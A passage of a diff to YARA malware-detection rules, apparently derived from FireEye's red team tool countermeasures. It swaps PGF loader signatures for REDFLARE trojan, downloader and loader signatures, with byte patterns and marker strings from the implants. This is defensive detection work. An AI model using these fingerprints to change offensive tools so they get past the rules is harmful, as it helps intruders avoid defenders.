8B 45 ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 89 C2 8B 45 ?? 01 D0 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 01 D0 89 45 ?? C7 44 24 ?? 30 14 3C 6A 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 01 00 00 00 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 01 EB ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 83 E8 01 85 C0 74 ?? 83 E8 01 0F 0B 89 95 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 90 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C3 } - $cond6 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 ?? ?? ?? ?? F0 EF D5 63 C7 85 ?? ?? ?? ?? CC FF D5 63 8D 85 ?? ?? ?? ?? 89 28 BA 28 1B D4 63 89 50 ?? 89 60 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? FF FF FF FF FF D0 C7 44 24 ?? 04 01 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 55 ?? 89 54 24 ?? 8D 95 ?? ?? ?? ?? 89 14 24 C7 85 ?? ?? ?? ?? 01 00 00 00 89 C1 E8 ?? ?? ?? ?? 83 EC 08 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 89 44 24 ?? C7 04 24 08 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 85 ?? ?? ?? ?? 28 04 00 00 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 74 ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? 00 00 00 00 8D 95 ?? ?? ?? ?? 83 C2 20 89 14 24 89 C1 E8 ?? ?? ?? ?? 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? EB ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 83 7D ?? 00 74 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 04 24 7E 40 D9 63 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 C7 44 24 ?? 8A 40 D9 63 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 89 45 ?? 89 E8 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 C7 45 ?? 00 00 00 00 8B 55 ?? 8B 85 ?? ?? ?? ?? 39 C2 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 3D FF 0F 00 00 0F 86 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 73 ?? 8B 45 ?? 8B 00 8B 55 ?? 81 C2 00 10 00 00 39 D0 73 ?? C7 45 ?? 01 00 00 00 83 7D ?? 00 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 8B 4D ?? 8B 55 ?? 01 CA 39 D0 0F 83 ?? ?? ?? ?? B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 ?? ?? ?? ?? 83 C0 04 39 D0 72 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 1C 00 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 0C 8B 85 ?? ?? ?? ?? 83 E0 20 85 C0 74 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 30 14 D4 63 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 90 EB ?? 90 83 45 ?? 04 E9 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 89 C2 8B 45 ?? 01 D0 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 01 D0 89 45 ?? C7 44 24 ?? 30 14 D4 63 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 01 00 00 00 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 01 EB ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 83 E8 01 85 C0 74 ?? 83 E8 01 0F 0B 89 95 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 90 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C3 } + $1 = "PSRunner.PSRunner" fullword + $2 = "CorBindToRuntime" fullword + $3 = "ReportEventW" fullword + $4 = "InvokePS" fullword wide + $5 = "runCommand" fullword + $6 = "initialize" fullword + $trap = { 03 40 00 80 E8 [4] CC } condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and any of them + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them } -rule FIREEYE_RT_APT_Loader_Win32_PGF_5 : FILE +rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_2 : FILE { meta: - description = "PGF payload, generated rule based on symfunc/a86b004b5005c0bcdbd48177b5bac7b8" + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "376875f3-00f2-58d0-ae22-7f52ea566da2" - date = "2020-12-08" + id = "84881e5c-05df-5911-af42-ec82e559588c" + date = "2020-11-27" + date = "2020-11-27" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win32_PGF_5.yar#L4-L18" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Trojan_Win_REDFLARE_2.yar#L4-L20" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "8c91a27bbdbe9fb0877daccd28bd7bb5" - logic_hash = "dfff615a1d329cf181294f7b0a32c11a21d66ff8a6aa6b9fcd183c9738369623" + hash = "9529c4c9773392893a8a0ab8ce8f8ce1,05b99d438dac63a5a993cea37c036673" + logic_hash = "1f2e1f644b1932486444dfda30b7dad7f50121f59fa493eb8a1a0528ae46db26" score = 75 quality = 75 tags = "FILE" - rev = 3 + rev = 2 strings: - $cond1 = { 8B FF 55 8B EC 81 EC 30 01 00 00 A1 00 30 00 10 33 C5 89 45 E0 56 C7 45 F8 00 00 00 00 C6 85 D8 FE FF FF 00 68 03 01 00 00 6A 00 8D 85 D9 FE FF FF 50 E8 F9 07 00 00 83 C4 0C C7 45 F4 00 00 00 00 C6 45 E7 00 C7 45 E8 00 00 00 00 C7 45 EC 00 00 00 00 C7 45 FC 00 00 00 00 C7 45 F0 00 00 00 00 6A 01 6A 00 8D 8D D8 FE FF FF 51 6A 00 68 9C 10 00 10 8B 15 10 30 00 10 52 E8 31 01 00 00 89 45 F8 6A 14 FF 15 5C 10 00 10 83 C4 04 89 45 E8 8B 45 F8 8A 48 04 88 4D E7 8B 55 F8 83 C2 0C 8B 45 E8 8B 0A 89 08 8B 4A 04 89 48 04 8B 4A 08 89 48 08 8B 4A 0C 89 48 0C 8B 52 10 89 50 10 C7 85 D4 FE FF FF 00 00 00 00 EB 0F 8B 85 D4 FE FF FF 83 C0 01 89 85 D4 FE FF FF 83 BD D4 FE FF FF 14 7D 1F 8B 4D E8 03 8D D4 FE FF FF 0F B6 11 0F B6 45 E7 33 D0 8B 4D E8 03 8D D4 FE FF FF 88 11 EB C9 8B 55 F8 8B 42 08 89 45 FC 6A 40 68 00 30 00 00 8B 4D FC 51 6A 00 FF 15 00 10 00 10 89 45 EC 8B 55 FC 52 8B 45 F8 83 C0 20 50 8B 4D EC 51 E8 F0 06 00 00 83 C4 0C C7 85 D0 FE FF FF 00 00 00 00 EB 0F 8B 95 D0 FE FF FF 83 C2 01 89 95 D0 FE FF FF 8B 85 D0 FE FF FF 3B 45 FC 73 30 8B 4D EC 03 8D D0 FE FF FF 0F B6 09 8B 85 D0 FE FF FF 99 BE 14 00 00 00 F7 FE 8B 45 E8 0F B6 14 10 33 CA 8B 45 EC 03 85 D0 FE FF FF 88 08 EB B6 8B 4D EC 89 4D F0 FF 55 F0 5E 8B 4D E0 33 CD E8 6D 06 00 00 8B E5 5D C3 } - $cond2 = { 8B FF 55 8B EC 81 EC 30 01 00 00 A1 00 30 00 10 33 C5 89 45 E0 56 C7 45 F8 00 00 00 00 C6 85 D8 FE FF FF 00 68 03 01 00 00 6A 00 8D 85 D9 FE FF FF 50 E8 F9 07 00 00 83 C4 0C C7 45 F4 00 00 00 00 C6 45 E7 00 C7 45 E8 00 00 00 00 C7 45 EC 00 00 00 00 C7 45 FC 00 00 00 00 C7 45 F0 00 00 00 00 6A 01 6A 00 8D 8D D8 FE FF FF 51 6A 00 68 9C 10 00 10 8B 15 20 33 00 10 52 E8 31 01 00 00 89 45 F8 6A 14 FF 15 58 10 00 10 83 C4 04 89 45 E8 8B 45 F8 8A 48 04 88 4D E7 8B 55 F8 83 C2 0C 8B 45 E8 8B 0A 89 08 8B 4A 04 89 48 04 8B 4A 08 89 48 08 8B 4A 0C 89 48 0C 8B 52 10 89 50 10 C7 85 D4 FE FF FF 00 00 00 00 EB 0F 8B 85 D4 FE FF FF 83 C0 01 89 85 D4 FE FF FF 83 BD D4 FE FF FF 14 7D 1F 8B 4D E8 03 8D D4 FE FF FF 0F B6 11 0F B6 45 E7 33 D0 8B 4D E8 03 8D D4 FE FF FF 88 11 EB C9 8B 55 F8 8B 42 08 89 45 FC 6A 40 68 00 30 00 00 8B 4D FC 51 6A 00 FF 15 2C 10 00 10 89 45 EC 8B 55 FC 52 8B 45 F8 83 C0 20 50 8B 4D EC 51 E8 F0 06 00 00 83 C4 0C C7 85 D0 FE FF FF 00 00 00 00 EB 0F 8B 95 D0 FE FF FF 83 C2 01 89 95 D0 FE FF FF 8B 85 D0 FE FF FF 3B 45 FC 73 30 8B 4D EC 03 8D D0 FE FF FF 0F B6 09 8B 85 D0 FE FF FF 99 BE 14 00 00 00 F7 FE 8B 45 E8 0F B6 14 10 33 CA 8B 45 EC 03 85 D0 FE FF FF 88 08 EB B6 8B 4D EC 89 4D F0 FF 55 F0 5E 8B 4D E0 33 CD E8 6D 06 00 00 8B E5 5D C3 } - $cond3 = { 8B FF 55 8B EC 81 EC 30 01 00 00 A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 C7 45 ?? 00 00 00 00 C6 85 ?? ?? ?? ?? 00 68 03 01 00 00 6A 00 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 0C C7 45 ?? 00 00 00 00 C6 45 ?? 00 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 6A 01 6A 00 8D 8D ?? ?? ?? ?? 51 6A 00 68 9C 10 00 10 8B 15 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 89 45 ?? 6A 14 FF 15 ?? ?? ?? ?? 83 C4 04 89 45 ?? 8B 45 ?? 8A 48 ?? 88 4D ?? 8B 55 ?? 83 C2 0C 8B 45 ?? 8B 0A 89 08 8B 4A ?? 89 48 ?? 8B 4A ?? 89 48 ?? 8B 4A ?? 89 48 ?? 8B 52 ?? 89 50 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 8B 85 ?? ?? ?? ?? 83 C0 01 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 14 7D ?? 8B 4D ?? 03 8D ?? ?? ?? ?? 0F B6 11 0F B6 45 ?? 33 D0 8B 4D ?? 03 8D ?? ?? ?? ?? 88 11 EB ?? 8B 55 ?? 8B 42 ?? 89 45 ?? 6A 40 68 00 30 00 00 8B 4D ?? 51 6A 00 FF 15 ?? ?? ?? ?? 89 45 ?? 8B 55 ?? 52 8B 45 ?? 83 C0 20 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 0C C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 8B 95 ?? ?? ?? ?? 83 C2 01 89 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B 45 ?? 73 ?? 8B 4D ?? 03 8D ?? ?? ?? ?? 0F B6 09 8B 85 ?? ?? ?? ?? 99 BE 14 00 00 00 F7 FE 8B 45 ?? 0F B6 14 10 33 CA 8B 45 ?? 03 85 ?? ?? ?? ?? 88 08 EB ?? 8B 4D ?? 89 4D ?? FF 55 ?? 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 } - $cond4 = { 8B FF 55 8B EC 81 EC 3? ?1 ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 E0 56 C7 45 F8 ?? ?? ?? ?? C6 85 D8 FE FF FF ?? 68 ?? ?? ?? ?? 6A ?? 8D 85 D9 FE FF FF 50 E8 ?? ?? ?? ?? 83 C4 0C C7 45 F4 ?? ?? ?? ?? C6 45 E7 ?? C7 45 E8 ?? ?? ?? ?? C7 45 EC ?? ?? ?? ?? C7 45 FC ?? ?? ?? ?? C7 45 F? ?? ?? ?? ?0 6A ?? 6A ?? 8D 8D D8 FE FF FF 51 6A ?? 68 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 89 45 F8 6A ?? FF ?? ?? ?? ?? ?? 83 C4 04 89 45 E8 8B 45 F8 8A 48 04 88 4D E7 8B 55 F8 83 ?? ?? 8B 45 E8 8B 0A 89 08 8B 4A 04 89 48 04 8B 4A 08 89 48 08 8B 4A 0C 89 48 0C 8B 52 10 89 50 10 C7 85 D4 FE FF FF ?? ?? ?? ?? EB ?? 8B 85 D4 FE FF FF 83 C? ?1 89 85 D4 FE FF FF 83 BD D4 FE FF FF 14 7D ?? 8B 4D E8 03 8D D4 FE FF FF 0F B6 11 0F B6 45 E7 33 D0 8B 4D E8 03 8D D4 FE FF FF 88 11 EB ?? 8B 55 F8 8B 42 08 89 45 FC 6A ?? 68 ?? ?? ?? ?? 8B 4D FC 51 6A ?? FF ?? ?? ?? ?? ?? 89 45 EC 8B 55 FC 52 8B 45 F8 83 ?? ?? 50 8B 4D EC 51 E8 ?? ?? ?? ?? 83 C4 0C C7 85 D0 FE FF FF ?? ?? ?? ?? EB ?? 8B 95 D0 FE FF FF 83 C2 01 89 95 D0 FE FF FF 8B 85 D0 FE FF FF 3B 45 FC 73 ?? 8B 4D EC 03 8D D0 FE FF FF 0F B6 09 8B 85 D0 FE FF FF 99 BE ?? ?? ?? ?? F7 FE 8B 45 E8 0F B6 14 10 33 CA 8B 45 EC 03 85 D0 FE FF FF 88 08 EB ?? 8B 4D EC 89 4D F0 FF ?? ?? 5E 8B 4D E0 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 } + $1 = "initialize" fullword + $2 = "getData" fullword + $3 = "putData" fullword + $4 = "fini" fullword + $5 = "Cookie: SID1=%s" fullword condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and any of them + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them } -rule FIREEYE_RT_APT_Loader_Win32_PGF_1 : FILE +rule FIREEYE_RT_APT_Downloader_Win32_REDFLARE_1 : FILE { meta: - description = "base dlls: /lib/payload/techniques/unmanaged_exports/" + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "1af4f2ce-c540-5836-a749-43a0b08609b1" - date = "2020-11-25" - date = "2020-11-25" + id = "e8d7ee31-568e-58ac-98ad-49baa2eb37ea" + date = "2020-11-27" + date = "2020-11-27" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win32_PGF_1.yar#L4-L19" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Downloader_Win32_REDFLARE_1.yar#L4-L17" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "383161e4deaf7eb2ebeda2c5e9c3204c" - logic_hash = "d3fb0bd7b678b19ee2e0e846f4e13e4ce7e2629ecda123f34ef52f2af42d2a8e" + hash = "05b99d438dac63a5a993cea37c036673" + logic_hash = "a340a2a732a9b1aa74ca9d84009a88d1b14b6a03140a859384c0d6e745e4a90a" score = 75 quality = 75 tags = "FILE" rev = 1 strings: - $sb1 = { 6A ?? FF 15 [4-32] 8A ?? 04 [0-32] 8B ?? 89 ?? 8B [2] 89 [2] 8B [2] 89 ?? 08 8B [2] 89 [2] 8B [2] 89 [2-64] 8B [5] 83 ?? 01 89 [5] 83 [5-32] 0F B6 [1-2] 0F B6 [1-2] 33 [1-16] 88 ?? EB } - $sb2 = { 6A 40 [0-32] 68 00 30 00 00 [0-32] 6A 00 [0-16] FF 15 [4-32] 89 45 [4-64] E8 [4-32] 83 ?? 01 [4-80] 0F B6 [1-64] 33 [1-32] 88 [2-64] FF ( D? | 55 ) } - $sb3 = { 8B ?? 08 03 ?? 3C [2-32] 0F B? ?? 14 [0-32] 8D [2] 18 [2-64] 0F B? ?? 06 [3-64] 6B ?? 28 } + $const = "Cookie: SID1=%s" fullword + $http_req = { 00 00 08 80 81 3D [4] BB 01 00 00 75 [1-10] 00 00 80 00 [1-4] 00 10 00 00 [1-4] 00 20 00 00 89 [1-10] 6A 00 8B [1-8] 5? 6A 00 6A 00 6A 00 8B [1-8] 5? 68 [4] 8B [1-8] 5? FF 15 [4-40] 6A 14 E8 } condition: ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and all of them } -rule FIREEYE_RT_APT_Loader_Win64_PGF_2 : FILE +rule FIREEYE_RT_APT_Loader_Raw32_REDFLARE_1 : FILE { meta: - description = "base dlls: /lib/payload/techniques/dllmain/" + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "5253cb2a-28fd-57ab-be3d-f11cf2ea24cf" - date = "2020-11-25" - date = "2020-11-25" + id = "8f8ec27f-afac-5da5-b76f-b984e14e0066" + date = "2020-11-27" + date = "2020-11-27" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win64_PGF_2.yar#L4-L19" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Loader_Raw32_REDFLARE_1.yar#L4-L16" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "4326a7e863928ffbb5f6bdf63bb9126e" - logic_hash = "074f6d9ad78ecd4dd8e3d0b5c8b0f61a48374f3935b85c4222305b207b447ec7" + hash = "4022baddfda3858a57c9cbb0d49f6f86" + logic_hash = "05ed89bd82600b4d5ef01ece2e0a9bd84e968988fd2bda1bab4ec316a9a9906b" score = 75 quality = 75 tags = "FILE" - rev = 2 + rev = 1 strings: - $sb1 = { B9 [4] FF 15 [4-32] 8B ?? 1C [0-16] 0F B? ?? 04 [0-64] F3 0F 6F 00 [0-64] 66 0F EF C8 [0-64] F3 0F 7F 08 [0-64] 30 ?? 48 8D 40 01 48 83 ?? 01 7? } - $sb2 = { 44 8B ?? 08 [0-32] 41 B8 00 30 00 00 [0-16] FF 15 [4-32] 48 8B C8 [0-16] E8 [4-64] 4D 8D 49 01 [0-32] C1 ?? 04 [0-64] 0F B? [2-16] 41 30 ?? FF 45 3? ?? 7? } - $sb3 = { 63 ?? 3C [0-16] 03 [1-32] 0F B? ?? 14 [0-16] 8D ?? 18 [0-16] 03 [1-16] 66 ?? 3B ?? 06 7? [1-64] 48 8D 15 [4-32] FF 15 [4-16] 85 C0 [2-32] 41 0F B? ?? 06 } + $load = { EB ?? 58 [0-4] 8B 10 8B 48 [1-3] 8B C8 83 C1 ?? 03 D1 83 E9 [1-3] 83 C1 [1-4] FF D? } condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them + ( uint16( 0 ) != 0x5A4D ) and all of them } -rule FIREEYE_RT_APT_Loader_Win64_PGF_5 : FILE +rule FIREEYE_RT_APT_Trojan_Linux_REDFLARE_1 : FILE { meta: - description = "PGF payload, generated rule based on symfunc/8167a6d94baca72bac554299d7c7f83c" + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "4fa4a1d6-cb63-582d-801c-b4c89c44d9ca" - date = "2020-12-08" + id = "220302bc-4ed3-5e10-9bd2-a8ed2bdaef73" + date = "2020-12-02" + date = "2020-12-02" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win64_PGF_5.yar#L4-L18" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/supplemental/yara/APT_Trojan_Linux_REDFLARE_1.yar#L4-L20" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "150224a0ccabce79f963795bf29ec75b" - logic_hash = "16495ad1e5ce4d4a79f4067f3d687911a1a0a3bfe4c6409ff9de4d111b1ddca6" + hash = "79259451ff47b864d71fb3f94b1774f3, 82773afa0860d668d7fe40e3f22b0f3e" + logic_hash = "282f11c4c86d88d05f11e92f5483701d9a54c2dd39f21316cd271aa78a338d0f" score = 75 quality = 75 tags = "FILE" - rev = 3 + rev = 1 strings: - $cond1 = { 4C 89 44 24 18 89 54 24 10 48 89 4C 24 08 48 83 EC 38 48 8B 4C 24 40 FF 15 13 FA FF FF 8B 44 24 48 89 44 24 20 83 7C 24 20 01 74 02 EB 17 48 8B 44 24 40 48 89 05 66 23 00 00 48 8B 4C 24 40 FF 15 EB F9 FF FF B8 01 00 00 00 48 83 C4 38 C3 } - $cond2 = { 4C 89 44 24 18 89 54 24 10 48 89 4C 24 08 48 83 EC 38 48 8B 4C 24 40 FF 15 A3 FA FF FF 8B 44 24 48 89 44 24 20 83 7C 24 20 01 74 02 EB 17 48 8B 44 24 40 48 89 05 F6 20 00 00 48 8B 4C 24 40 FF 15 7B FA FF FF B8 01 00 00 00 48 83 C4 38 C3 } - $cond3 = { 4C 89 44 24 18 89 54 24 10 48 89 4C 24 08 48 83 EC 38 48 8B 4C 24 40 FF ?? ?? ?? ?? ?? 8B 44 24 48 89 44 24 20 83 7C 24 2? ?1 74 ?? EB ?? 48 8B 44 24 40 48 ?? ?? ?? ?? ?? ?? 48 8B 4C 24 40 FF ?? ?? ?? ?? ?? B8 01 ?? ?? ?? 48 83 C4 38 C3 } - $cond4 = { 4C 89 44 24 ?? 89 54 24 ?? 48 89 4C 24 ?? 48 83 EC 38 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 83 7C 24 ?? 01 74 ?? EB ?? 48 8B 44 24 ?? 48 89 05 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? B8 01 00 00 00 48 83 C4 38 C3 } + $s1 = "find_applet_by_name" fullword + $s2 = "bb_basename" fullword + $s3 = "hk_printf_chk" fullword + $s4 = "runCommand" fullword + $s5 = "initialize" fullword condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and any of them + ( uint32( 0 ) == 0x464c457f ) and all of them } -rule FIREEYE_RT_APT_Loader_MSIL_PGF_2 : FILE +rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_6 : FILE { meta: - description = "base.js, ./lib/payload/techniques/jscriptdotnet/jscriptdotnet_payload.py" + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "c5f2ec90-cd9b-53ce-893b-e44192fcd507" - date = "2020-11-25" - date = "2020-11-25" + id = "5875a9ec-c3ee-57f0-a430-4443db585def" + date = "2020-12-01" + date = "2020-12-01" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_MSIL_PGF_2.yar#L4-L20" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/supplemental/yara/APT_Trojan_Win_REDFLARE_6.yar#L4-L20" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "7c2a06ceb29cdb25f24c06f2a8892fba" - logic_hash = "b962ea30c063009c0383e25edda3a65202bea4496d0d6228549dcea82bba0d03" + hash = "294b1e229c3b1efce29b162e7b3be0ab, 6902862bd81da402e7ac70856afbe6a2" + logic_hash = "1e6f8320e0c0b601fc72fa4d9c61e46adfbcd84638c97da5988ca848e036312a" score = 75 quality = 75 tags = "FILE" - rev = 1 + rev = 2 strings: - $sb1 = { 2? 00 10 00 00 0A 1? 40 0? 72 [4] 0? 0? 28 [2] 00 0A 0? 03 28 [2] 00 0A 74 [2] 00 01 6F [2] 00 0A 03 1? 0? 74 [2] 00 01 28 [2] 00 0A 6? 0? 0? 28 [2] 00 06 D0 [2] 00 01 28 [2] 00 0A 1? 28 [2] 00 0A 79 [2] 00 01 71 [2] 00 01 13 ?? 0? 1? 11 ?? 0? 74 [2] 00 01 28 [2] 00 0A 28 [2] 00 0A 7E [2] 00 0A 13 ?? 1? 13 ?? 7E [2] 00 0A 13 ?? 03 28 [2] 00 0A 74 [2] 00 01 6F [2] 00 0A 03 1? 1? 11 ?? 11 ?? 1? 11 ?? 28 [2] 00 06 } - $ss1 = "\x00CreateThread\x00" - $ss2 = "\x00ScriptObjectStackTop\x00" - $ss3 = "\x00Microsoft.JScript\x00" + $s1 = "RevertToSelf" fullword + $s2 = "Unsuccessful" fullword + $s3 = "Successful" fullword + $s4 = "runCommand" fullword + $s5 = "initialize" fullword condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them + ( uint16( 